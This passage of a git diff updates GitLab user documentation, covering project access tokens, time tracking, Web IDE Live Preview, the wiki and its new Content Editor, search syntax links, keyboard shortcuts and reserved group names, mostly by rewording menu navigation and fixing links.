following table. ## Enable or disable project access token creation +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/287707) in GitLab 13.11. + You may enable or disable project access token creation for all projects in a group in **Group > Settings > General > Permissions, LFS, 2FA > Allow project access token creation**. Even when creation is disabled, you can still use and revoke existing project access tokens. This setting is available only on top-level groups. diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md index df76c4682f3..3c9b0341661 100644 --- a/doc/user/project/time_tracking.md +++ b/doc/user/project/time_tracking.md @@ -20,7 +20,7 @@ Time Tracking allows you to: - Record the time spent working on an issue or a merge request. - Add an estimate of the amount of time needed to complete an issue or a merge request. -- View a breakdown of time spent working on an issue or a merge request. +- View a breakdown of time spent working on an issue or a merge request. You don't have to indicate an estimate to enter the time spent, and vice versa. @@ -82,6 +82,10 @@ To remove all the time spent at once, use `/remove_time_spent`. You can view a breakdown of time spent on an issue or merge request. +Prerequisites: + +- You must have at least the [Reporter role](../permissions.md#project-members-permissions) for a project. + To view a time tracking report, go to an issue or a merge request and select **Time tracking report** in the right sidebar. diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index 73aed1244db..0e597725611 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -259,19 +259,27 @@ Additionally, for public projects an **Open in CodeSandbox** button is available to transfer the contents of the project into a public CodeSandbox project to quickly share your project with others. -### Enabling Live Preview +### Enable Live Preview -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268288) in GitLab 12.9, third-party assets and libraries required for Live Preview are hosted at `https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries are still served from other third-party services which may or may not be desirable in your environment. +With Live Preview enabled, you can preview projects with a `package.json` file and +a `main` entry point inside the Web IDE. -The Live Preview feature needs to be enabled in the GitLab instance's -Admin Area. Live Preview is enabled for all projects on -GitLab.com +Live Preview is enabled for all projects on GitLab.com. If you are an administrator +of a self-managed GitLab instance, and you want to enable Live Preview: - +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > General**. +1. Scroll to **Web IDE** and select **Expand**: +  +1. Select **Enable Live Preview** and select **Save changes**. -After you have done that, you can preview projects with a `package.json` file and -a `main` entry point inside the Web IDE. An example `package.json` is shown -below. +[In GitLab 12.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/268288), +third-party assets and libraries required for Live Preview are hosted at +`https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries +are still served from other third-party services, which may or may not be desirable +in your environment. + +An example `package.json`: ```json { diff --git a/doc/user/project/wiki/img/content_editor_v14.0.png b/doc/user/project/wiki/img/content_editor_v14.0.png Binary files differnew file mode 100644 index 00000000000..b44a633073d --- /dev/null +++ b/doc/user/project/wiki/img/content_editor_v14.0.png diff --git a/doc/user/project/wiki/img/use_new_editor_button_v14.0.png b/doc/user/project/wiki/img/use_new_editor_button_v14.0.png Binary files differnew file mode 100644 index 00000000000..d9a5cf83302 --- /dev/null +++ b/doc/user/project/wiki/img/use_new_editor_button_v14.0.png diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md index 22915efef94..ed6a51665bd 100644 --- a/doc/user/project/wiki/index.md +++ b/doc/user/project/wiki/index.md @@ -7,7 +7,7 @@ type: reference, how-to # Wiki **(FREE)** -If you don't want to keep your documentation in your repository, but you do want +If you don't want to keep your documentation in your repository, but you want to keep it in the same project as your code, you can use the wiki GitLab provides in each GitLab project. Every wiki is a separate Git repository, so you can create wiki pages in the web interface, or [locally using Git](#create-or-edit-wiki-pages-locally). @@ -34,8 +34,8 @@ with sibling pages listed in alphabetical order. To view a list of all pages, se When a wiki is created, it is empty. On your first visit, create the landing page users see when viewing the wiki: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**, then **Create your first page**. +1. Go to your project or group and select **Wiki**. +1. Select **Create your first page**. 1. Select a **Format** for styling your text. 1. Add a welcome message in the **Content** section. You can always edit it later. 1. Add a **Commit message**. Git requires a commit message, so GitLab creates one @@ -46,8 +46,7 @@ users see when viewing the wiki: Users with Developer [permissions](../../permissions.md) can create new wiki pages: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**. +1. Go to your project or group and select **Wiki**. 1. Select **New page** on this page, or any other wiki page. 1. Select a content format. 1. Add a title for your new page. Page titles use @@ -111,8 +110,8 @@ may not be able to check out the wiki locally afterward. You need Developer [permissions](../../permissions.md) or higher to edit a wiki page: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**, and go to the page you want to edit. +1. Go to your project or group and select **Wiki**. +1. Go to the page you want to edit. 1. Select the edit icon (**{pencil}**). 1. Edit the content. 1. Select **Save changes**. @@ -124,10 +123,11 @@ For an example, read [Table of contents](../../markdown.md#table-of-contents). ## Delete a wiki page -You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page: +You need the [Maintainer role](../../permissions.md) or higher to delete a wiki page: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**, and go to the page you want to delete. +1. Go to your project or group and select **Wiki**. +1. Go to the page you want to delete. +1. Select the edit icon (**{pencil}**). 1. Select **Delete page**. 1. Confirm the deletion. @@ -135,8 +135,8 @@ You need Maintainer [permissions](../../permissions.md) or higher to delete a wi You need Developer [permissions](../../permissions.md) or higher to move a wiki page: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**, and go to the page you want to move. +1. Go to your project or group and select **Wiki**. +1. Go to the page you want to move. 1. Select the edit icon (**{pencil}**). 1. Add the new path to the **Title** field. For example, if you have a wiki page called `about` under `company` and you want to move it to the wiki's root, @@ -164,8 +164,8 @@ From the history page you can see: You can see the changes made in a version of a wiki page, similar to versioned diff file views: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**, and go to the wiki page you're interested in. +1. Go to your project or group and select **Wiki**. +1. Go to the wiki page you're interested in. 1. Select **Page history** to see all page versions. 1. Select the commit message in the **Changes** column for the version you're interested in. @@ -192,8 +192,7 @@ You need Developer [permissions](../../permissions.md) or higher to customize th navigation sidebar. This process creates a wiki page named `_sidebar` which fully replaces the default sidebar navigation: -1. Go to the page for your project or group. -1. In the left sidebar, select **Wiki**. +1. Go to your project or group and select **Wiki**. 1. In the top right corner of the page, select **Edit sidebar**. 1. When complete, select **Save changes**. @@ -243,7 +242,7 @@ and above. Group wiki repositories can be moved using the To add a link to an external wiki from a project's left sidebar: -1. In your project, go to **Settings > Integrations**. +1. Go to your project and select **Settings > Integrations**. 1. Select **External wiki**. 1. Add the URL to your external wiki. 1. (Optional) Select **Test settings** to verify the connection. @@ -253,21 +252,21 @@ You can now see the **External wiki** option from your project's left sidebar. When you enable this integration, the link to the external -wiki won't replace the link to the internal wiki. +wiki doesn't replace the link to the internal wiki. To hide the internal wiki from the sidebar, [disable the project's wiki](#disable-the-projects-wiki). To hide the link to an external wiki: -1. In your project, go to **Settings > Integrations**. +1. Go to your project and select **Settings > Integrations**. 1. Select **External wiki**. -1. Unselect **Enable integration**. +1. In the **Enable integration** section, clear the **Active** checkbox. 1. Select **Save changes**. ## Disable the project's wiki To disable a project's internal wiki: -1. In your project, go to **Settings > General**. +1. Go to your project and select **Settings > General**. 1. Expand **Visibility, project features, permissions**. 1. Scroll down to find **Wiki** and toggle it off (in gray). 1. Select **Save changes**. @@ -282,6 +281,47 @@ Previously added wiki pages are preserved in case you want to re-enable the wiki. To re-enable it, repeat the process to disable the wiki but toggle it on (in blue). +## Content Editor **(FREE)** + +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5643) in GitLab 14.0. + +GitLab version 14.0 introduces a WYSIWYG editing experience for GitLab Flavored Markdown +in Wikis through the [Content Editor](../../../development/fe_guide/content_editor.md). +The Content Editor is under active development, and is not yet the default editing +experience in the Wiki. To opt in for the new editor: + +1. Create a new wiki page, or edit an existing one. +1. Ensure the wiki page uses the Markdown format. Other formats are not yet supported. +1. Below the **Format** select box, select **Use the new editor**: + +  + +### Use the Content Editor + +1. [Create](#create-a-new-wiki-page) a new wiki page, or [edit](#edit-a-wiki-page) an existing one. +1. Select **Markdown** as your format. +1. Below the **Format** select box, select **Use new editor**. +1. Customize your page's content using the various formatting options available in the content editor. +1. Select **Create page** for a new page, or **Save changes** for an existing page: + +  + +### Switch back to the old editor + +1. *If you're editing the page in the content editor,* scroll to **Content**. +1. Select **Switch me back to the classic editor**. +1. Select **Switch to classic editor** in the confirmation popup to confirm. + +When you switch back to the old editor, any unsaved changes are lost. + +### GitLab Flavored Markdown support + +Supporting all GitLab Flavored Markdown content types in the Content Editor is a work in progress. +For the status of the ongoing development for CommonMark and GitLab Flavored Markdown support, read: + +- [Basic Markdown formatting extensions](https://gitlab.com/groups/gitlab-org/-/epics/5404) epic. +- [GitLab Flavored Markdown extensions](https://gitlab.com/groups/gitlab-org/-/epics/5438) epic. + ## Resources - [Wiki settings for administrators](../../../administration/wikis/index.md) diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md index ddca0b64f81..a0b20f5c86d 100644 --- a/doc/user/project/working_with_projects.md +++ b/doc/user/project/working_with_projects.md @@ -13,8 +13,8 @@ code are saved in projects, and most features are in the scope of projects. You can explore other popular projects available on GitLab. To explore projects: -1. Click **Projects** in the navigation bar. -1. Click **Explore Projects**. +1. On the top bar, select **Menu > Project**. +1. Select **Explore Projects**. GitLab displays a list of projects, sorted by last updated date. To view projects with the most [stars](#star-a-project), click **Most stars**. To view @@ -84,6 +84,7 @@ Built-in templates are project templates that are: - Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates) and [`pages`](https://gitlab.com/pages) groups. - Released with GitLab. +- Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates). To use a built-in template on the **New project** page: @@ -196,8 +197,8 @@ To star a project: To view your starred projects: -1. Click **Projects** in the navigation bar. -1. Click **Starred Projects**. +1. On the top bar, select **Menu > Project**. +1. Select **Starred Projects**. 1. GitLab displays information about your starred projects, including: - Project description, including name, description, and icon @@ -227,10 +228,16 @@ Read through the documentation on [project settings](settings/index.md). ## Project activity -To view the activity of a project, navigate to **Project overview > Activity**. -From there, you can click on the tabs to see **All** the activity, or see it -filtered by **Push events**, **Merge events**, **Issue events**, **Comments**, -**Team**, and **Wiki**. +To view the activity of a project: + +1. On the left sidebar, select **Project information > Activity**. +1. Select a tab to view **All** the activity, or to filter it by any of these criteria: + - **Push events** + - **Merge events** + - **Issue events** + - **Comments** + - **Team** + - **Wiki** ### Leave a project @@ -333,7 +340,7 @@ For public projects, and to members of internal and private projects with [permissions to view the project's code](../permissions.md#project-members-permissions): - The content of a - [`README` or an index file](repository/#repository-readme-and-index-files) + [`README` or an index file](repository/index.md#readme-and-index-files) is displayed (if any), followed by the list of directories in the project's repository. - If the project doesn't contain either of these files, the diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md index 16ff8538630..bf9abcca640 100644 --- a/doc/user/reserved_names.md +++ b/doc/user/reserved_names.md @@ -10,7 +10,7 @@ Not all project & group names are allowed because they would conflict with existing routes used by GitLab. For a list of words that are not allowed to be used as group or project names, see the -[`path_regex.rb` file](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/path_regex.rb) +[`path_regex.rb` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/path_regex.rb) under the `TOP_LEVEL_ROUTES`, `PROJECT_WILDCARD_ROUTES` and `GROUP_ROUTES` lists: - `TOP_LEVEL_ROUTES`: are names that are reserved as usernames or top level groups @@ -54,13 +54,11 @@ Currently the following names are reserved as top level groups: - `500.html` - `502.html` - `503.html` -- `abuse_reports` - `admin` - `api` - `apple-touch-icon-precomposed.png` - `apple-touch-icon.png` - `assets` -- `autocomplete` - `dashboard` - `deploy.html` - `explore` @@ -71,7 +69,6 @@ Currently the following names are reserved as top level groups: - `health_check` - `help` - `import` -- `invites` - `jwt` - `login` - `oauth` @@ -81,7 +78,6 @@ Currently the following names are reserved as top level groups: - `robots.txt` - `s` - `search` -- `sent_notifications` - `sitemap` - `sitemap.xml` - `sitemap.xml.gz` diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md index 1c4423fb7b0..20a2a7263c3 100644 --- a/doc/user/search/advanced_search.md +++ b/doc/user/search/advanced_search.md @@ -57,13 +57,13 @@ Full details can be found in the [Elasticsearch documentation](https://www.elast here's a quick guide: - Searches look for all the words in a query, in any order - e.g.: searching - issues for [`display bug`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results. -- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964) -- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964) -- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964) -- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964) -- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964) -- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964) + issues for [`display bug`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results. +- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964) +- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964) +- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964) +- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964) +- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964) +- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964) ## Syntax search filters @@ -79,15 +79,15 @@ any spaces between the colon (`:`) and the value. When no keyword is provided, a Examples: -- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964) +- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964) - The leading asterisk (`*`) can be ignored in the case above: [`filename:search_results.rb`](https://gitlab.com/search?group_id=9970&project_id=278964&scope=blobs&search=filename%3Asearch_results.rb) -- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964) -- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964) -- Finding any file with the `.yaml` extension: [`extension:yaml`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=extension%3Ayaml&group_id=9970&project_id=278964) -- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964) -- Finding any file in a path that includes `elasticsearch`: [`path:elasticsearch`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=path%3Aelasticsearch&group_id=9970&project_id=278964) -- Finding the files represented by the Git object ID `998707b421c89bd9a3063333f9f728ef3e43d101`: [`* blob:998707b421c89bd9a3063333f9f728ef3e43d101`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=false&scope=blobs&repository_ref=&search=*+blob%3A998707b421c89bd9a3063333f9f728ef3e43d101&group_id=9970) -- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964) +- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964) +- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964) +- Finding any file with the `.yaml` extension: [`extension:yaml`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=extension%3Ayaml&group_id=9970&project_id=278964) +- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964) +- Finding any file in a path that includes `elasticsearch`: [`path:elasticsearch`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=path%3Aelasticsearch&group_id=9970&project_id=278964) +- Finding the files represented by the Git object ID `998707b421c89bd9a3063333f9f728ef3e43d101`: [`* blob:998707b421c89bd9a3063333f9f728ef3e43d101`](https://gitlab.com/search?snippets=false&scope=blobs&repository_ref=&search=*+blob%3A998707b421c89bd9a3063333f9f728ef3e43d101&group_id=9970) +- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964) ### Excluding filters @@ -102,14 +102,14 @@ Filters can be inverted to **filter out** results from the result set, by prefix Examples: -- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964) -- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964) -- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964) -- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964) +- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964) +- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964) +- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964) +- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964) ## Search by issue or merge request ID You can search a specific issue or merge request by its ID with a special prefix. -- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964) -- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964) +- To search by issue ID, use prefix `#` followed by issue ID. For example, [#23456](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=%2323456&group_id=9970&project_id=278964) +- To search by merge request ID, use prefix `!` followed by merge request ID. For example [!23456](https://gitlab.com/search?snippets=&scope=merge_requests&repository_ref=&search=%2123456&group_id=9970&project_id=278964) diff --git a/doc/user/search/index.md b/doc/user/search/index.md index db89dddaf14..0cdaa3150c5 100644 --- a/doc/user/search/index.md +++ b/doc/user/search/index.md @@ -194,7 +194,7 @@ author, type, and action. Also, you can sort them by ## Projects -You can search through your projects from the left menu, by clicking the menu bar, then **Projects**. +You can search through your projects from the top bar, by selecting **Menu > Projects**. On the field **Filter by name**, type the project or group name you want to find, and GitLab filters them for you as you type. @@ -252,7 +252,7 @@ You can also type in this search bar to see autocomplete suggestions for: - Recently viewed issues (try and type some word from the title of a recently viewed issue) - Recently viewed merge requests (try and type some word from the title of a recently viewed merge request) - Recently viewed epics (try and type some word from the title of a recently viewed epic) -- [GitLab Flavored Markdown](../markdown.md#special-gitlab-references) (GFM) for issues in a project (try and type a GFM reference for an issue) +- [GitLab Flavored Markdown](../markdown.md#gitlab-specific-references) (GFM) for issues in a project (try and type a GFM reference for an issue) ## Basic search diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md index 6673611267d..6abbb128f49 100644 --- a/doc/user/shortcuts.md +++ b/doc/user/shortcuts.md @@ -79,9 +79,9 @@ relatively quickly to work, and they take you to another page in the project. | <kbd>g</kbd> + <kbd>b</kbd> | Go to the project issue boards list (**Issues > Boards**). | | <kbd>g</kbd> + <kbd>m</kbd> | Go to the project merge requests list (**Merge Requests**). | | <kbd>g</kbd> + <kbd>j</kbd> | Go to the CI/CD jobs list (**CI/CD > Jobs**). | -| <kbd>g</kbd> + <kbd>l</kbd> | Go to the project metrics (**Operations > Metrics**). | -| <kbd>g</kbd> + <kbd>e</kbd> | Go to the project environments (**Operations > Environments**). | -| <kbd>g</kbd> + <kbd>k</kbd> | Go to the project Kubernetes cluster integration page (**Operations > Kubernetes**). Note that you must have at least [`maintainer` permissions](permissions.md) to access this page. | +| <kbd>g</kbd> + <kbd>l</kbd> | Go to the project metrics (**Monitor > Metrics**). | +| <kbd>g</kbd> + <kbd>e</kbd> | Go to the project environments (**Deployments > Environments**). | +| <kbd>g</kbd> + <kbd>k</kbd> | Go to the project Kubernetes cluster integration page (**Infrastructure > Kubernetes**). Note that you must have at least [`maintainer` permissions](permissions.md) to access this page. | | <kbd>g</kbd> + <kbd>s</kbd> | Go to the project snippets list (**Snippets**). | | <kbd>g</kbd> + <kbd>w</kbd> | Go to the project wiki (**Wiki**), if enabled. | @@ -126,7 +126,7 @@ These shortcuts are available when editing a file with the [Web IDE](project/web ### Repository graph -These shortcuts are available when viewing the project [repository graph](project/repository/index.md#repository-graph) +These shortcuts are available when viewing the project [repository graph](project/repository/index.md#repository-history-graph) page (navigate to **Repository > Graph**): | Keyboard shortcut | Description | diff --git a/doc/user/snippets.md b/doc/user/snippets.md index 45751e14cb8..4b3f9e78c7b 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -57,11 +57,11 @@ In GitLab versions 13.0 and later, snippets are [versioned by default](#versione To discover all snippets visible to you in GitLab, you can: -- **View all snippets visible to you**: In the top navigation bar of your GitLab - instance, go to **More > Snippets** to view your snippets dashboard. +- **View all snippets visible to you**: On the top bar of your GitLab + instance, select **Menu > Snippets** to view your snippets dashboard. - **Visit [GitLab snippets](https://gitlab.com/dashboard/snippets)** for your snippets on GitLab.com. -- **Explore all public snippets**: In the top navigation bar of your GitLab - instance, go to **More > Snippets** and select **Explore snippets** to view +- **Explore all public snippets**: On the top bar of your GitLab + instance, select **Menu > Snippets** and select **Explore snippets** to view [all public snippets](https://gitlab.com/explore/snippets). - **View a project's snippets**: In your project, go to **Snippets**. diff --git a/doc/user/todos.md b/doc/user/todos.md index 695532abf9f..4227f46dfa8 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -112,6 +112,7 @@ Actions that dismiss to-do items include: - Changing the milestone - Adding/removing a label - Commenting on the issue +- Resolving a [design discussion thread](project/issues/design_management.md#resolve-design-threads) Your To-Do List is personal, and items are only marked as done if you take action. If you close the issue or merge request, your to-do item is marked as |
